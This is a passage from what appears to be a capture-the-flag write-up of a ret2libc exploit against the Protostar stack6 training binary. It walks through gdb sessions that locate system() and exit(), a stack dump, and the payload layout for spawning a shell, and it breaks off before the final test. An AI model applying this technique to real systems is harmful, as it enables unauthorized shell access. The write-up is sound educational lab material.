In this challenge we’ll have to try a new attack : ret2libc
Instead of putting shellcode in the buffer, we’ll try to call a particular libc function : system().
Thanks to it we should be able to spawn a shell.
In order to perform this attack we need several things. First, we have to call this function somewhere on the stack in order to get its address.
A simple method is to compile a dummy program in C that ccalls the function and then look with gdb.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
user@protostar:~$ echo'int main() { system(); }' > sys.c user@protostar:~$ cat sys.c int main() { system(); } user@protostar:~$ gcc sys.c -o sys user@protostar:~$ gdb -q sys Reading symbols from /home/user/sys...(no debugging symbols found)...done. (gdb) b main Breakpoint 1 at 0x80483c7 (gdb) r Starting program: /home/user/sys
Breakpoint 1, 0x080483c7 in main () (gdb) p system $1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system> (gdb) p exit $2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit> (gdb)
Note that we also grabbed exit()’s address, we’ll see later what for.
Now we have to put the string “/bin/sh” (the argument we’ll use for our system() call) somewhere in the stack and grab it’s address.
A way of doing that is tu put “/bin/sh” in an environment variable and then getting it’s address with a simple C program.
Breakpoint 1, getpath () at stack6/stack6.c:17 17 stack6/stack6.c: No such file or directory. in stack6/stack6.c (gdb) x/30x $esp 0xbffff730: 0xbffff74c0x000000000xb7fe1b280x00000001 0xbffff740: 0x000000000x000000010xb7fff8f80x41414141 0xbffff750: 0x414141410xb7ec00410xbffff7680xb7eada75 0xbffff760: 0xb7fd7ff40x080496ec0xbffff7780x0804835c 0xbffff770: 0xb7ff10400x080496ec0xbffff7a80x08048539 0xbffff780: 0xb7fd83040xb7fd7ff40x080485200x08048505 0xbffff790: 0xb7ec63650xb7ff10400xbffff7a80x08048505 0xbffff7a0: 0x080485200x00000000 (gdb) p $ebp +0x4-0xbffff74c $1 = (void *) 0x50 (gdb) p 0x50 $2 = 80
```
%eip is located 80 bytes after the top of the stack.
We can now construct our payload which will look like that :
padding + adress of system + address of exit + address of "/bin/sh"
The reason I put the address of exit in the payload is because when returning from system, the next instruction executed will be that one and so the program will close properly.
A few things to note here, first I use “cat -“ in order to redirect the result from the cat command to stdin. I also added 5 bytes to the address of HACK in order for it to point to “/bin/sh” and not “HACK=/bin/sh”. Finally, it doesn’t work, I noticed that the address I was getting for my environment variable was not the exact right one. There actually is a shift. To find the right address I used gdb (probably not the best way)
user@protostar:~$ gdb -q /opt/protostar/bin/./stack6 Reading symbols from /opt/protostar/bin/stack6...done. (gdb) b main Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27. (gdb) r Starting program: /opt/protostar/bin/stack6
If we take a look at the error message we get from the exploit, we can see that the address we entered pointed to 2.2 which is part of the SSH_CONNECTION variable. Now, if we substract the right amount of bytes from that address, we should be able to point to “/bin/sh”. There are exactly 48 chars frrom 2.2 to /bin/sh so if we substract 48 to 0xbffff9c7 we should get the right address. let’s test it out :